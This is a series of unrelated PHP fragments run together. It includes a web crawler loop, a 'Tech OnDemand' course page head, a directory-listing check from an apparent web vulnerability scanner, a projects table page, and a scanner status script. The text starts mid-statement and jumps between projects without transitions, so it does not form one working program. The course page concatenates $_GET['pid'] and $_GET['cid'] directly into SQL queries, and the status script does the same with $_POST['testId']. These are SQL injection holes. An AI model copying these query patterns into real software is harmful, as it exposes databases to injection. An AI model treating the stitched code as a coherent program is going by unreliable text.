PHPCrawlerUtils::removeURLsToOtherDomains($links_found, $this->urls_to_crawl[$pri_level][$key]["url_rebuild"]); } // Remove "pathUp"-links if follow_mode=3 // (fe: base-site: www.foo.com/bar/index.htm -> dont follow: www.foo.com/anotherbar/xyz) if ($this->general_follow_mode == 3) { PHPCrawlerUtils::removePathUpLinks($links_found, $this->url_to_crawl); } // If given, dont follow "not matching"-links // (dont follow given preg_matches) if (count($this->not_follow_matches) > 0) { PHPCrawlerUtils::removeMatchingLinks($links_found, $this->not_follow_matches); } // If given, just follow "matching"-links // (only follow given preg_matches) if (count($this->follow_matches) > 0) { $links_found =& PHPCrawlerUtils::removeNotMatchingLinks($links_found, $this->follow_matches); } // Add found and filtered links to the main_array urls_to_crawl if ($this->benchmark == true) { $bm_start = $this->getmicrotime(); } PHPCrawlerUtils::addToArray($links_found, $this->urls_to_crawl, $this->url_map, $this->store_extended_linkinfo); if ($this->benchmark == true) { echo "addToArray(): " . ($this->getmicrotime() - $bm_start) . "<br>"; } // If there is wasnt any content found so far (code 200) and theres // a redirect location // -> follow it, doesnt matter what follow-mode was choosen ! // (put it into the main-array !) if (!isset($content_found) && $redirect != "" && $this->follow_redirects_till_content == true) { $rd[0]["url_rebuild"] = phpcrawlerutils::buildURL($redirect, $actual_url); $rd[0]["priority_level"] = 0; PHPCrawlerUtils::addToArray($rd, $this->urls_to_crawl, $this->url_map, $this->store_extended_linkinfo); } // Now we remove the actual URL from the priority-array unset($this->urls_to_crawl[$pri_level][$key]); // Now we check if a priority-array with a higher priority // contains URLS and if so, stop processing this pri-array and "switch" to the higher // one for ($pri_level_check = $this->max_priority_level + 1; $pri_level_check > $pri_level; $pri_level_check--) { if (isset($this->urls_to_crawl[$pri_level_check]) && $pri_level_check > $pri_level) { $stop_crawling_this_level = true; } } // Stop crawling this level if ($stop_crawling_this_level == true) { $pri_level = $this->max_priority_level + 1; break; } // Unset crawled URL, not nedded anymore unset($this->urls_to_crawl[$pri_level][$key]); // echo "All:".($this->getmicrotime()-$all_start); } // end of loop over priority-array // If a priority_level was crawled completely -> unset the whole array if ($stop_crawling_this_level == false) { unset($this->urls_to_crawl[$pri_level]); } } // end if priority-level exists } // end of main loop // Loop stopped here, build report-array (status_return) $this->status_return["links_followed"] = $links_followed; $this->status_return["files_received"] = $files_received; $this->status_return["bytes_received"] = $this->pageRequest->traffic_all; $this->status_return["traffic_limit_reached"] = $page_data["traffic_limit_reached"]; if (isset($page_data["file_limit_reached"])) { $this->status_return["file_limit_reached"] = $page_data["file_limit_reached"]; } else { $this->status_return["file_limit_reached"] = false; } if (isset($page_data["user_abort"])) { $this->status_return["user_abort"] = $page_data["user_abort"]; } else { $this->status_return["user_abort"] = false; } if (isset($stop_crawling)) { $this->status_return["limit_reached"] = true; } else { $this->status_return["limit_reached"] = false; } // Process-time $this->status_return["process_runtime"] = $this->getMicroTime() - $starting_time; // Average bandwith / throughput $this->status_return["data_throughput"] = round($this->status_return["bytes_received"] / $this->status_return["process_runtime"]); if ($this->firstCrawl) { $query = "UPDATE tests SET status = 'Finished Crawling!' WHERE id = {$this->testId};"; if (connectToDb($db)) { $db->query($query); $duration = $this->status_return["process_runtime"]; $query = "UPDATE tests SET duration = {$duration} WHERE id = {$this->testId};"; $db->query($query); } } }
include_once "scripts/OnDemandServices.php"; session_cache_limiter('nocache'); session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <?php $meta_description = "Tech OnDemand is an open repository of academic resources aimed to educate anyone who is interested in the various technical topics offered at the Georgia Institute of Technology."; echo '<meta name="description" content="' . $meta_description . '" />'; connectToDb(); if (isset($_GET['pid'])) { $Q = mysql_query("SELECT * FROM `PostCollection1332` WHERE `postid`=" . $_GET['pid']); $Q = mysql_fetch_array($Q); $Q = $Q['title']; } else { if (isset($_GET['cid'])) { $Q = mysql_query("SELECT * FROM `ClassCollection` WHERE `classid`=" . $_GET['cid']); $Q = mysql_fetch_array($Q); $Q = $Q['subject'] . ' ' . $Q['number'] . ': ' . $Q['title']; } else { $Q = "Tech OnDemand"; } } echo '<meta property="og:title" content="' . addslashes($Q) . '" />'; echo '<meta property="og:description" content="' . $meta_description . '" />';
function testDirectoryListingEnabled($urlToScan, $siteBeingTested, $testId, $crawlUrlFlag) { connectToDb($db); updateStatus($db, "Testing for {$urlToScan} for Directory Listing enabled...", $testId); $log = new Logger(); $log->lfile('logs/eventlogs'); $log->lwrite("Testing for {$urlToScan} for Directory Listing enabled"); if ($crawlUrlFlag) { //Perform crawl again but allow images, etc. this time to capture every URL $crawlerNew =& new MyCrawler(); $crawlerNew->setURL($urlToScan); $crawlerNew->setTestId($testId); $crawlerNew->addReceiveContentType("/text\\/html/"); $crawlerNew->setCookieHandling(true); $crawlerNew->setFollowMode(3); $log->lwrite("Crawling {$urlToScan} again for all links including images, css, etc, in order to identify directories"); $crawlerNew->go(); $urlsFound = $crawlerNew->urlsFound; $logStr = sizeof($urlsFound) . ' URLs found for test: ' . $testId; $log->lwrite("All URLs found during crawl for directory listing check:"); foreach ($urlsFound as $currentUrl) { $log->lwrite($currentUrl); } $relativePathUrls = array(); foreach ($urlsFound as $currentUrl) { $currentUrl = str_replace($urlToScan, '', $currentUrl); array_push($relativePathUrls, $currentUrl); } $directories = array(); //Check if relative path contain a directory and if they do, add it to a list of directories foreach ($relativePathUrls as $relativePathUrl) { if (dirname($relativePathUrl) != '.') { $dir = dirname($relativePathUrl); if (!in_array($dir, $directories) && !empty($dir) && !strpos($dir, '?')) { array_push($directories, $dir); $log->lwrite("Found directory {$dir}"); } } } } else { $directories = array(1); } //Just need to make an array of size one so the for loop below iterates once $http = new http_class(); $http->timeout = 0; $http->data_timeout = 0; //$http->debug=1; $http->user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $http->follow_redirect = 1; $http->redirection_limit = 5; $http->setTestId($testId); //Regular expressions that will indicate directory listing is enabled $regexs = array("/Parent Directory/", "/\\bDirectory Listing\\b.*(Tomcat|Apache)/", "/Parent directory/", "/\\bDirectory\\b/", "/[\\s<]+IMG\\s*=/"); //General foreach ($directories as $directory) { if ($crawlUrlFlag) { $testUrl = $urlToScan . $directory . '/'; } else { $testUrl = $siteBeingTested; } $error = $http->GetRequestArguments($testUrl, $arguments); $error = $http->Open($arguments); $log->lwrite("URL to be requested is: {$testUrl}"); if ($error == "") { $log->lwrite("Sending HTTP request to {$testUrl}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $responseCode = $http->response_status; //This is a string $log->lwrite("Received response code: {$responseCode}"); if (intval($responseCode) >= 200 && intval($responseCode) < 300) { $vulnerabilityFound = false; $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { $indicatorStr = ''; if (preg_match($regexs[0], $body)) { $vulnerabilityFound = true; $indicatorStr = $regexs[0]; } else { if (preg_match($regexs[1], $body)) { $vulnerabilityFound = true; $indicatorStr = $regexs[1]; } else { if (preg_match($regexs[2], $body)) { $vulnerabilityFound = true; $indicatorStr = $regexs[2]; } else { if (preg_match($regexs[3], $body)) { if (preg_match($regexs[4], $body)) { $vulnerabilityFound = true; $indicatorStr = $regexs[3] . ' and ' . $regexs[4]; } } } } } if ($vulnerabilityFound) { //The echo's are for testing function on its own echo '<br>Directory Listing Enabled!<br>Url: ' . $testUrl . '<br>'; echo 'Method: GET <br>'; echo 'Url Requested: ' . $testUrl . '<br>'; echo "Error: Received response code: {$responseCode} after requesting a directory and regular expression: {$indicatorStr}<br>"; $tableName = 'test' . $testId; //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'dirlist' AND method = 'get' AND url = '{$testUrl}' AND attack_str = '{$testUrl}'"; $result = $db->query($query); if (!$result) { $log->lwrite("Could not execute query {$query}"); } else { $log->lwrite("Successfully executed query {$query}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$query}"); insertTestResult($db, $testId, 'dirlist', 'get', $testUrl, $testUrl); } } } } } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; $log->lwrite("Error: {$error}"); } } }
</div> </nav> <h2 class="text-center underlined">Projects</h2> <!--PROJECTS--> <div class="container-fluid"> <div class="row"> <div class="col-sm-12 col-md-12 main"> <div class="table-responsive" id="main_table"> <table class="table table-striped data_table" id="table1"> <?php //Display the table require_once 'lib.php'; require_once 'database.ini'; $connection = connectToDb(); $history_data = getRawHistoryData($connection); $table = reportAllHistory($history_data, "html"); echo $table; $connection = null; ?> </table> </div> </div> </div> </div> <hr> <h2 class="text-center underlined">All Project Statistics</h2>
// - Calliope(http://www.towfiqi.com/xhtml-template-calliope.html) - // Licensed under the Creative Commons Attribution 3.0 Unported License // // This software was developed, and should only be used, entirely for // ethical purposes. Running security testing tools such as this on a // website(web application) could damage it. In order to stay ethical, // you must ensure you have permission of the owners before testing // a website(web application). Testing the security of a website(web application) // without authorisation is unethical and against the law in many countries. // ///////////////////////////////////////////////////////////////////////////// $currentDir = './'; require_once $currentDir . 'functions/databaseFunctions.php'; //require_once('classes/Logger.php'); isset($_POST['testId']) ? $testId = $_POST['testId'] : ($testId = 0); connectToDb($db); $query = "SELECT * FROM tests WHERE id = {$testId};"; $result = $db->query($query); $row = $result->fetch_object(); $finished = $row->scan_finished; //Update finish time to current time while scan is not finished if ($finished == 0) { $now = time(); $query = "UPDATE tests SET finish_timestamp = {$now} WHERE id = {$testId};"; $result = $db->query($query); } $query = "SELECT * FROM tests WHERE id = {$testId};"; $result = $db->query($query); $row = $result->fetch_object(); $status = $row->status; $startTime = $row->start_timestamp;